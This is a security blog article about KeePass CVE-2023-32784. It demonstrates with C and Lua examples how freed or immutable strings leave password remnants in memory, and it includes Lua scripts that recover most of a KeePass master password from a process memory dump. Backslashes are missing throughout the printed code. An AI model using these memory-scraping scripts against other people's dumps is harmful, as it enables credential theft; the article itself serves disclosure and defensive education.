Over the last two weeks, we’ve seen a series of articles talking up what’s been described as a “master password crack” in the popular open-source password manager KeePass.
The bug was considered important enough to get an official US government identifier (it’s known as CVE-2023-32784, if you want to hunt it down), and given that the master password to your password manager is pretty much the key to your whole digital castle, you can understand why the story provoked lots of excitement.
The good news is that an attacker who wanted to exploit this bug would almost certainly need to have infected your computer with malware already, and would therefore be able to spy on your keystrokes and running programs anyway.
In other words, the bug can be considered an easily-managed risk until the creator of KeePass comes out with an update, which should appear soon (at the beginning of June 2023, apparently).
As the discloser of the bug takes care to point out:
If you use full disk encryption with a strong password and your system is [free from malware], you should be fine. No one can steal your passwords remotely over the internet with this finding alone.
The risks explained
Heavily summarised, the bug boils down to the difficulty of ensuring that all traces of confidential data are purged from memory once you’ve finished with them.
We’ll ignore here the problems of how to avoid having secret data in memory at all, even briefly.
In this article, we just want to remind programmers everywhere that code approved by a security-conscious reviewer with a comment such as “appears to clean up correctly after itself”…
…might in fact not clean up fully at all, and the potential data leakage might not be obvious from a direct study of the code itself.
Simply put, the CVE-2023-32784 vulnerability means that a KeePass master password might be recoverable from system data even after the KeyPass program has exited, because sufficient information about your password (albeit not actually the raw password itself, which we’ll focus on in a moment) might get left behind in sytem swap or sleep files, where allocated system memory may end up saved for later.
On a Windows computer where BitLocker isn’t used to encrypt the hard disk when the system is turned off, this would give a crook who stole your laptop a fighting chance of booting up from a USB or CD drive, and recovering your master password even though the KeyPass program itself takes care never to save it permanently to disk.
A long-term password leak in memory also means that the password could, in theory, be recovered from a memory dump of the KeyPass program, even if that dump was grabbed long after you’d typed the password in, and long after the KeePass itself had no more need to keep it around.
Clearly, you should assume that malware already on your system could recover almost any typed-in password via a variety of real-time snooping techniques, as long as they were active at the time you did the typing. But you might reasonably expect that your time exposed to danger would be limited to the brief period of typing, not extended to many minutes, hours or days afterwards, or perhaps longer, including after you shut your computer down.
What gets left behind?
We therefore thought we’d take a high-level look at how secret data can get left behind in memory in ways that aren’t directly obvious from the code.
Don’t worry if you aren’t a programmer – we’ll keep it simple, and explain as we go.
We’ll start by looking at memory use and cleanup in a simple C program that simulates entering and temporarily storing a password by doing the following:
- Allocating a dedicated chunk of memory specially to store the password.
- Inserting a known text string so we can easily find it in memory if needed.
- Appending 16 pseudo-random 8-bit ASCII characters from the range A-P.
- Printing out the simulated password buffer.
- Freeing up the memory in the hope of expunging the password buffer.
- Exiting the program.
Greatly simplified, the C code might look something like this, with no error checking, using poor-quality pseudo-random numbers from the C runtime function rand(), and ignoring any buffer overflow checks (never do any of this in real code!):
// Ask for memory
char* buff = malloc(128);
// Copy in fixed string we can recognise in RAM
strcpy(buff,"unlikelytext");
// Append 16 pseudo-random ASCII characters
for (int i = 1; i <= 16; i++) {
// Choose a letter from A (65+0) to P (65+15)
char ch = 65 + (rand() & 15);
// Modify the buff string directly in memory
strncat(buff,&ch,1);
}
// Print it out, so we're done with buff
printf("Full string was: %sn",buff);
// Return the unwanted buffer and hope that expunges it
free(buff);
In fact, the code we finally used in our tests includes some additional bits and pieces shown below, so that we could dump the full contents of our temporary password buffer as we used it, to look for unwanted or left-over content.
Note that we deliberately dump the buffer after calling free(), which is technically a use-after-free bug, but we are doing it here as a sneaky way of seeing whether anything critical gets left behind after handing our buffer back, which could lead to a dangerous data leakage hole in real life.
We’ve also inserted two Waiting for [Enter] prompts into the code to give ourselves a chance to create memory dumps at key points in the program, giving us raw data to search later, in order to see what was left behind as the program ran.
To do memory dumps, we’ll be using the Microsoft Sysinternals tool procdump with the -ma option (dump all memory), which avoids the need to write our own code to use the Windows DbgHelp system and its rather complex MiniDumpXxxx() functions.
To compile the C code, we used our own small-and-simple build of Fabrice Bellard’s free and open-source Tiny C Compiler, available for 64-bit Windows in source and binary form directly from our GitHub page.
Copy-and-pastable text of all the source code pictured in the article appears at the bottom of the page.
This is what happened when we compiled and ran the test program:
C:UsersduckKEYPASS> petcc64 -stdinc -stdlib unl1.c Tiny C Compiler - Copyright (C) 2001-2023 Fabrice Bellard Stripped down by Paul Ducklin for use as a learning tool Version petcc64-0.9.27 [0006] - Generates 64-bit PEs only -> unl1.c -> c:/users/duck/tcc/petccinc/stdio.h [. . . .] -> c:/users/duck/tcc/petcclib/libpetcc1_64.a -> C:/Windows/system32/msvcrt.dll -> C:/Windows/system32/kernel32.dll ------------------------------- virt file size section 1000 200 438 .text 2000 800 2ac .data 3000 c00 24 .pdata ------------------------------- <- unl1.exe (3584 bytes) C:UsersduckKEYPASS> unl1.exe Dumping 'new' buffer at start 00F51390: 90 57 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .W......P....... 00F513A0: 73 74 65 6D 33 32 5C 63 6D 64 2E 65 78 65 00 44 stem32cmd.exe.D 00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win 00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr 00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData 00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_ 00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF 00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter 00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 net ExplzV.<.K.. Full string was: unlikelytextJHKNEJJCPOMDJHAN 00F51390: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 4A 48 4B 4E unlikelytextJHKN 00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D 00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win 00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr 00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData 00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_ 00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF 00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter 00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 net ExplzV.<.K.. Waiting for [ENTER] to free buffer... Dumping buffer after free() 00F51390: A0 67 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .g......P....... 00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D 00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win 00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr 00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData 00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_ 00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF 00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter 00F51410: 6E 65 74 20 45 78 70 6C 4D 00 00 4D AC 4B 00 00 net ExplM..M.K.. Waiting for [ENTER] to exit main()... C:UsersduckKEYPASS>
In this run, we didn’t bother grabbing any process memory dumps, because we could see right away from the output that this code leaks data.
Right after calling the Windows C runtime library function malloc(), we can see that the buffer we get back includes what looks like environment variable data left over from the program’s startup code, with the first 16 bytes apparently altered to look like some sort of left-over memory allocation header.
(Note how those 16 bytes look like two 8-byte memory addresses, 0xF55790 and 0xF50150, that are just after and just before our own memory buffer respectively.)
When the password is supposed to be in memory, we can see the entire string clearly in the buffer, as we would expect.
But after calling free(), note how the first 16 bytes of our buffer have been rewritten with what look like nearby memory addresses once again, presumably so the memory allocator can keep track of blocks in memory that it can re-use…
… but the rest of the our “expunged” password text (the last 12 random characters EJJCPOMDJHAN) has been left behind.
Not only do we need to manage our own memory allocations and de-allocations in C, we also need to ensure that we choose the right system functions for data buffers if we want to control them precisely.
For example, by switching to this code instead, we get a bit more control over what’s in memory:
By switching from malloc() and free() to use the lower-level Windows allocation functions VirtualAlloc() and VirtualFree() directly, we get better control.
However, we pay a price in speed, because each call to VirtualAlloc() does more work that a call to malloc(), which works by continually dividing and subdividing a block of pre-allocated low-level memory.
Using VirtualAlloc() repeatedly for small blocks also uses up more memory overall, because each block dished out by VirtualAlloc() typically consumes a multiple of 4KB of memory (or 2MB, if you are using so-called large memory pages), so that our 128-byte buffer above is rounded up to 4096 bytes, wasting the 3968 bytes at the end of the 4KB memory block.
But, as you can see, the memory we get back is automatically blanked out (set to zero), so we can’t see what was there before, and this time the program crashes when we try to do our use-after-free trick, because Windows detects that we’re trying to peek at memory we no longer own:
C:UsersduckKEYPASS> unl2 Dumping 'new' buffer at start 0000000000EA0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Full string was: unlikelytextIBIPJPPHEOPOIDLL 0000000000EA0000: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 49 42 49 50 unlikelytextIBIP 0000000000EA0010: 4A 50 50 48 45 4F 50 4F 49 44 4C 4C 00 00 00 00 JPPHEOPOIDLL.... 0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Waiting for [ENTER] to free buffer... Dumping buffer after free() 0000000000EA0000: [Program terminated here because Windows caught our use-after-free]
Because the memory we freed up will need re-allocating with VirtualAlloc() before it can be used again, we can assume that it will be zeroed out before it’s recycled.
However, if we wanted to make sure it was blanked out, we could call the special Windows function RtlSecureZeroMemory() just before freeing it, to guarantee that Windows will write zeros into our buffer first.
The related function RtlZeroMemory(), if you were wondering, does a similar thing, but without the guarantee of actually working, because compilers are allowed to remove it as theoretically redundant if they notice that the buffer is not used again afterwards.
As you can see, we need to take considerable care to use the right Windows functions if we want to miminise the time that secrets stored in memory may lie around for later.
In this article, we aren’t going to look at how you prevent secrets getting saved out accidentally to your swap file by locking them into physical RAM. (Hint: VirtualLock() isn’t actually enough on its own.) If you would like to know more about low-level Windows memory security, let us know in the comments and we will look at it in a future article.
Using automatic memory management
One neat way to avoid having to allocate, manage and deallocate memory by ourselves is to use a programming language that takes care of malloc() and free(), or VirtualAlloc() and VirtualFree(), automatically.
Scripting language such as Perl, Python, Lua, JavaScript and others get rid of the most common memory saftey bugs that plague C and C++ code, by tracking memory usage for you in the background.
As we mentioned earlier, our badly-written sample C code above works fine now, but only because it’s still a super-simple program, with fixed-size data structures, where we can verify by inspection that we won’t overwrite our 128-byte buffer, and that there is only one execution path that starts with malloc() and ends with a corresponding free().
But if we updated it to allow variable-length password generation, or added additional features into the generation process, then we (or whoever maintains the code next) could easily end up with buffer overflows, use-after-free bugs, or memory that never gets freed up and therefore leaves secret data hanging around long after it is no longer needed.
In a language like Lua, we can let the Lua run-time environment, which does what’s known in the jargon as automatic garbage collection, deal with acquiring memory from the system, and returning it when it detects we’ve stopped using it.
The C program we listed above becomes very much simpler when memory allocation and de-allocation are taken care of for us:
We allocate memory to hold the string s simply by assigning the string 'unlikelytext' to it.
We can later either hint to Lua explicitly that we are no longer interested in s by assigning it the value nil (all nils are essentially the same Lua object), or stop using s and wait for Lua to detect that it’s no longer needed.
Either way, the memory used by s will eventually be recovered automatically.
And to prevent buffer overflows or size mismanagement when appending to text strings (the Lua operator .., pronounced concat, essentially adds two strings together, like + in Python), every time we extend or shorten a string, Lua magically allocates space for a brand new string, rather than modifying or replacing the original one in its existing memory location.
This approach is slower, and leads to memory usage peaks that are higher than you’d get in C due to the intermediate strings allocated during text manipulation, but it’s much safer in respect of buffer overflows.
But this sort of automatic string management (known in the jargon as immutability, because strings never get mutated, or modified in place, once they’ve been created), does bring new cybersecurity headaches of its own.
We ran the Lua program above on Windows, up to the second pause, just before the program exited:
C:UsersduckKEYPASS> lua s1.lua Full string is: unlikelytextHLKONBOJILAGLNLN Waiting for [ENTER] before freeing string... Waiting for [ENTER] before exiting...
This time, we took a process memory dump, like this:
C:UsersduckKEYPASS> procdump -ma lua lua-s1.dmp ProcDump v11.0 - Sysinternals process dump utility Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [00:00:00] Dump 1 initiated: C:UsersduckKEYPASSlua-s1.dmp [00:00:00] Dump 1 writing: Estimated dump file size is 10 MB. [00:00:00] Dump 1 complete: 10 MB written in 0.1 seconds [00:00:01] Dump count reached.
Then we ran this simple script, which reads the dump file back in, finds everywhere in memory that that the known string unlikelytext appeared, and prints it out, together with its location in the dumpfile and the ASCII characters that immediately followed:
Even if you’ve used script languages before, or worked in any programming ecosystem that features so-called managed strings, where the system keeps track of memory allocations and deallocations for you, and handles them as it sees fit…
…you might be surprised to see the output that this memory scan produces:
C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp 006D8AFC: unlikelytextALJBNGOAPLLBDEB 006D8B3C: unlikelytextALJBNGOA 006D8B7C: unlikelytextALJBNGO 006D8BFC: unlikelytextALJBNGOAPLLBDEBJ 006D8CBC: unlikelytextALJBN 006D8D7C: unlikelytextALJBNGOAP 006D903C: unlikelytextALJBNGOAPL 006D90BC: unlikelytextALJBNGOAPLL 006D90FC: unlikelytextALJBNG 006D913C: unlikelytextALJBNGOAPLLB 006D91BC: unlikelytextALJB 006D91FC: unlikelytextALJBNGOAPLLBD 006D923C: unlikelytextALJBNGOAPLLBDE 006DB70C: unlikelytextALJ 006DBB8C: unlikelytextAL 006DBD0C: unlikelytextA
Lo and behold, at the time we grabbed our memory dump, even though we’d finished with the string s (and told Lua that we didn’t need it any more by saying s = nil), all the strings that the code had created along the way were still present in RAM, not yet recovered or deleted.
Indeed, if we sort the above output by the strings themselves, rather than following the order in which they appeared in RAM, you’ll be able to picture what happened during the loop where we concatenated one character at a time to our password string:
C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp | sort /+10 006DBD0C: unlikelytextA 006DBB8C: unlikelytextAL 006DB70C: unlikelytextALJ 006D91BC: unlikelytextALJB 006D8CBC: unlikelytextALJBN 006D90FC: unlikelytextALJBNG 006D8B7C: unlikelytextALJBNGO 006D8B3C: unlikelytextALJBNGOA 006D8D7C: unlikelytextALJBNGOAP 006D903C: unlikelytextALJBNGOAPL 006D90BC: unlikelytextALJBNGOAPLL 006D913C: unlikelytextALJBNGOAPLLB 006D91FC: unlikelytextALJBNGOAPLLBD 006D923C: unlikelytextALJBNGOAPLLBDE 006D8AFC: unlikelytextALJBNGOAPLLBDEB 006D8BFC: unlikelytextALJBNGOAPLLBDEBJ
All those temporary, intermediate strings are still there, so even if we had successfully wiped out the final value of s, we’d still be leaking everything except its last character.
In fact, in this case, even when we deliberately forced our program to dispose of all unneeded data by calling the special Lua function collectgarbage() (most scripting languages have something similar), most of the data in those pesky temporary strings stuck around in RAM anyway, because we’d compiled Lua to do its automatic memory management using good old malloc() and free().
In other words, even after Lua itself reclaimed its temporary memory blocks to use them again, we couldn’t control how or when those memory blocks would get re-used, and thus how long they would lie around inside the process with their left-over data waiting to be sniffed out, dumped, or otherwise leaked.
Enter .NET
But what about KeePass, which is where this article started?
KeePass is written in C#, and uses the .NET runtime, so it avoids the problems of memory mismanagement that C programs bring with them…
…but C# manages its own text strings, rather like Lua does, which raises the question:
Even if the programmer avoided storing the entire master password on one place after he’d finished with it, could attackers with access to a memory dump nevertheless find enough left-over temporary data to guess at or recover the master password anyway, even if those attackers got access to your computer minutes, hours, or days after you’d typed the password in ?
Simply put, are there detectable, ghostly remnants of your master password that survive in RAM, even after you’d expect them to have been expunged?
Annoyingly, as Github user Vdohney discovered, the answer (for KeePass verions earlier than 2.54, at least) is, “Yes.”
To be clear, we don’t think that your actual master password can be recovered as a single text string from a KeePass memory dump, because the author created a special function for master password entry that goes out of its way to avoid storing the full password where it could easily be spotted and sniffed out.
We satisfied ourselves of this by setting our master password to SIXTEENPASSCHARS, typing it in, and then taking memory dumps immediately, shortly, and long afterwards.
We searched the dumps with a simple Lua script that looked everwhere for that password text, both in 8-bit ASCII format, and in 16-bit UTF-16 (Windows widechar) format, like this:
The results were encouraging:
C:UsersduckKEYPASS> lua searchknown.lua kp2-post.dmp Reading in dump file... DONE. Searching for SIXTEENPASSCHARS as 8-bit ASCII... not found. Searching for SIXTEENPASSCHARS as UTF-16... not found.
But Vdohney, the discoverer of CVE-2023-32784, noticed that as you type in your master password, KeePass gives you visual feedback by constructing and displaying a placeholder string consisting of Unicode “blob” characters, up to and including the length of your password:
In widechar text strings on Windows (which consist of two bytes per character, not just one byte each as in ASCII), the “blob” character is encoded in RAM as the hex byte 0xCF followed by 0x25 (which just happens to be a percent sign in ASCII).
So, even if KeePass is taking great care with the raw characters you type in when you enter the password itself, you might end up with left-over strings of “blob” characters, easily detectable in memory as repeated runs such as CF25CF25 or CF25CF25CF25…
…and, if so, the longest run of blob characters you found would probably give away the length of your password, which would be a modest form of password information leakage, if nothing else.
We used the following Lua script to look for signs of left-over password placeholder strings:
The output was surprising (we have deleted successive lines with the same number of blobs, or with fewer blobs than the previous line, to save space):
C:UsersduckKEYPASS> lua findblobs.lua kp2-post.dmp 000EFF3C: * [. . .] 00BE621B: ** 00BE64C7: *** [. . .] 00BE6E8F: **** [. . .] 00BE795F: ***** [. . .] 00BE84F7: ****** [. . .] 00BE8F37: ******* [ continues similarly for 8 blobs, 9 blobs, etc. ] [ until two final lines of exactly 16 blobs each ] 00C0503B: **************** 00C05077: **************** 00C09337: * 00C09738: * [ all remaining matches are one blob long] 0123B058: *
At close-together but ever-increasing memory addresses, we found a systematic list of 3 blobs, then 4 blobs, and so on up to 16 blobs (the length of our password), followed by many randomly scattered instances of single-blob strings.
So, those placeholder “blob” strings do indeed seem to be leaking into memory and staying behind to leak the password length, long after the KeePass software has finished with your master password.
The next step
We decided to dig further, just like Vdohney did.
We changed our pattern matching code to detect chains of blob characters followed by any single ASCII character in 16-bit format (ASCII characters are represented in UTF-16 as their usual 8-bit ASCII code, followed by a zero byte).
This time, to save space, we have suppressed the output for any match that exactly matches the previous one:
Surprise, surprise:
C:UsersduckKEYPASS> lua searchkp.lua kp2-post.dmp 00BE581B: *I 00BE621B: **X 00BE6BD3: ***T 00BE769B: ****E 00BE822B: *****E 00BE8C6B: ******N 00BE974B: *******P 00BEA25B: ********A 00BEAD33: *********S 00BEB81B: **********S 00BEC383: ***********C 00BECEEB: ************H 00BEDA5B: *************A 00BEE623: **************R 00BEF1A3: ***************S 03E97CF2: *N 0AA6F0AF: *W 0D8AF7C8: *X 0F27BAF8: *S
Look what we get out of .NET’s managed string memory region!
A closely-bunched set of temporary “blob strings” that reveal the successive characters in our password, starting with the second character.
Those leaky strings are followed by widely-distributed single-character matches that we assume arose by chance. (A KeePass dump file is about 250MB in size, so there is plenty of room for “blob” characters to appear as if by luck.)
Even if we take those extra four matches into account, rather than discarding them as likely mismatches, we can guess that the master password is one of:
?IXTEENPASSCHARS ?NXTEENPASSCHARS ?WXTEENPASSCHARS ?SXTEENPASSCHARS
Obviously, this simple technique doesn’t find the first character in the password, because the first “blob string” is only constructed after that first character has been typed in
Note that this list is nice and short because we filtered out matches that didn’t end in ASCII characters.
If you were looking for characters in a different range, such as Chinese or Korean characters, you might end up with more accidental hits, because there are a lot more possible characters to match on…
…but we suspect you’ll get pretty close to your master password anyway, and the “blob strings” that relate to the password seem to be grouped together in RAM, presumably because they were allocated at about the same time by the same part of the .NET runtime.
And there, in an admittedly long and discursive nutshell, is the fascinating story of CVE-2023-32784.
What to do?
- If you’re a KeePass user, don’t panic. Although this is a bug, and is technically an exploitable vulnerability, remote attackers who wanted to crack your password using this bug would need to implant malware on your computer first. That would give them many other ways to steal your passwords directly, even if this bug didn’t exist, for example by logging your keystrokes as you type. At this point, you can simply watch out for the forthcoming update, and grab it when it’s ready.
- If you aren’t using full-disk encryption, consider enabling it. To extract left-over passwords from your swap file or hibernation file (operating system disk files used to save memory contents temporarily during heavy load or when your computer is “sleeping”), attackers would need direct access to your hard disk. If you have BitLocker or its equivalent for other operating systems activated, they won’t be able to access your swap file, your hibernation file, or any other personal data such as documents, spreadsheets, saved emails, and so on.
- If you’re a programmer, keep yourself informed about memory management issues. Don’t assume that just because every
free()matches its correspondingmalloc()that your data is safe and well-managed. Sometimes, you may need to take extra precautions to avoid leaving secret data lying around, and those precautions very from operating system to operating system. - If you’re a QA tester or a code reviewer, always think “behind the scenes”. Even if memory management code looks tidy and well-balanced, be aware of what’s happening behind the scenes (because the original programmer might not have known to do so), and get ready to do some pentesting-style work such as runtime monitoring and memory dumping to verify that secure code really is behaving as it’s supposed to.
CODE FROM THE ARTICLE: UNL1.C
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void hexdump(unsigned char* buff, int len) {
// Print buffer in 16-byte chunks
for (int i = 0; i < len+16; i = i+16) {
printf("%016X: ",buff+i);
// Show 16 bytes as hex values
for (int j = 0; j < 16; j = j+1) {
printf("%02X ",buff[i+j]);
}
// Repeat those 16 bytes as characters
for (int j = 0; j < 16; j = j+1) {
unsigned ch = buff[i+j];
printf("%c",(ch>=32 && ch<=127)?ch:'.');
}
printf("n");
}
printf("n");
}
int main(void) {
// Acquire memory to store password, and show what
// is in the buffer when it's officially "new"...
char* buff = malloc(128);
printf("Dumping 'new' buffer at startn");
hexdump(buff,128);
// Use pseudorandom buffer address as random seed
srand((unsigned)buff);
// Start the password with some fixed, searchable text
strcpy(buff,"unlikelytext");
// Append 16 pseudorandom letters, one at a time
for (int i = 1; i <= 16; i++) {
// Choose a letter from A (65+0) to P (65+15)
char ch = 65 + (rand() & 15);
// Then modify the buff string in place
strncat(buff,&ch,1);
}
// The full password is now in memory, so print
// it as a string, and show the whole buffer...
printf("Full string was: %sn",buff);
hexdump(buff,128);
// Pause to dump process RAM now (try: 'procdump -ma')
puts("Waiting for [ENTER] to free buffer...");
getchar();
// Formally free() the memory and show the buffer
// again to see if anything was left behind...
free(buff);
printf("Dumping buffer after free()n");
hexdump(buff,128);
// Pause to dump RAM again to inspect differences
puts("Waiting for [ENTER] to exit main()...");
getchar();
return 0;
}
CODE FROM THE ARTICLE: UNL2.C
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
void hexdump(unsigned char* buff, int len) {
// Print buffer in 16-byte chunks
for (int i = 0; i < len+16; i = i+16) {
printf("%016X: ",buff+i);
// Show 16 bytes as hex values
for (int j = 0; j < 16; j = j+1) {
printf("%02X ",buff[i+j]);
}
// Repeat those 16 bytes as characters
for (int j = 0; j < 16; j = j+1) {
unsigned ch = buff[i+j];
printf("%c",(ch>=32 && ch<=127)?ch:'.');
}
printf("n");
}
printf("n");
}
int main(void) {
// Acquire memory to store password, and show what
// is in the buffer when it's officially "new"...
char* buff = VirtualAlloc(0,128,MEM_COMMIT,PAGE_READWRITE);
printf("Dumping 'new' buffer at startn");
hexdump(buff,128);
// Use pseudorandom buffer address as random seed
srand((unsigned)buff);
// Start the password with some fixed, searchable text
strcpy(buff,"unlikelytext");
// Append 16 pseudorandom letters, one at a time
for (int i = 1; i <= 16; i++) {
// Choose a letter from A (65+0) to P (65+15)
char ch = 65 + (rand() & 15);
// Then modify the buff string in place
strncat(buff,&ch,1);
}
// The full password is now in memory, so print
// it as a string, and show the whole buffer...
printf("Full string was: %sn",buff);
hexdump(buff,128);
// Pause to dump process RAM now (try: 'procdump -ma')
puts("Waiting for [ENTER] to free buffer...");
getchar();
// Formally free() the memory and show the buffer
// again to see if anything was left behind...
VirtualFree(buff,0,MEM_RELEASE);
printf("Dumping buffer after free()n");
hexdump(buff,128);
// Pause to dump RAM again to inspect differences
puts("Waiting for [ENTER] to exit main()...");
getchar();
return 0;
}
CODE FROM THE ARTICLE: S1.LUA
-- Start with some fixed, searchable text
s = 'unlikelytext'
-- Append 16 random chars from 'A' to 'P'
for i = 1,16 do
s = s .. string.char(65+math.random(0,15))
end
print('Full string is:',s,'n')
-- Pause to dump process RAM
print('Waiting for [ENTER] before freeing string...')
io.read()
-- Wipe string and mark variable unused
s = nil
-- Dump RAM again to look for diffs
print('Waiting for [ENTER] before exiting...')
io.read()
CODE FROM THE ARTICLE: FINDIT.LUA
-- read in dump file
local f = io.open(arg[1],'rb'):read('*a')
-- look for marker text followed by one
-- or more random ASCII characters
local b,e,m = 0,0,nil
while true do
-- look for next match and remember offset
b,e,m = f:find('(unlikelytext[A-Z]+)',e+1)
-- exit when no more matches
if not b then break end
-- report position and string found
print(string.format('%08X: %s',b,m))
end
CODE FROM THE ARTICLE: SEARCHKNOWN.LUA
io.write('Reading in dump file... ')
local f = io.open(arg[1],'rb'):read('*a')
io.write('DONE.n')
io.write('Searching for SIXTEENPASSCHARS as 8-bit ASCII... ')
local p08 = f:find('SIXTEENPASSCHARS')
io.write(p08 and 'FOUND' or 'not found','.n')
io.write('Searching for SIXTEENPASSCHARS as UTF-16... ')
local p16 = f:find('Sx00Ix00Xx00Tx00Ex00Ex00Nx00Px00'..
'Ax00Sx00Sx00Cx00Hx00Ax00Rx00Sx00')
io.write(p16 and 'FOUND' or 'not found','.n')
CODE FROM THE ARTICLE: FINDBLOBS.LUA
-- read in dump file specified on command line
local f = io.open(arg[1],'rb'):read('*a')
-- Look for one or more password blobs, followed by any non-blob
-- Note that blob chars (●) encode into Windows widechars
-- as litte-endian UTF-16 codes, coming out as CF 25 in hex.
local b,e,m = 0,0,nil
while true do
-- We want one or more blobs, followed by any non-blob.
-- We simplify the code by looking for an explicit CF25
-- followed by any string that only has CF or 25 in it,
-- so we will find CF25CFCF or CF2525CF as well as CF25CF25.
-- We'll filter out "false positives" later if there are any.
-- We need to write '%%' instead of x25 because the x25
-- character (percent sign) is a special search char in Lua!
b,e,m = f:find('(xCF%%[xCF%%]*)',e+1)
-- exit when no more matches
if not b then break end
-- CMD.EXE can't print blobs, so we convert them to stars.
print(string.format('%08X: %s',b,m:gsub('xCF%%','*')))
end
CODE FROM THE ARTICLE: SEARCHKP.LUA
-- read in dump file specified on command line
local f = io.open(arg[1],'rb'):read('*a')
local b,e,m,p = 0,0,nil,nil
while true do
-- Now, we want one or more blobs (CF25) followed by the code
-- for A..Z followed by a 0 byte to convert ACSCII to UTF-16
b,e,m = f:find('(xCF%%[xCF%%]*[A-Z])x00',e+1)
-- exit when no more matches
if not b then break end
-- CMD.EXE can't print blobs, so we convert them to stars.
-- To save space we suppress successive matches
if m ~= p then
print(string.format('%08X: %s',b,m:gsub('xCF%%','*')))
p = m
end
end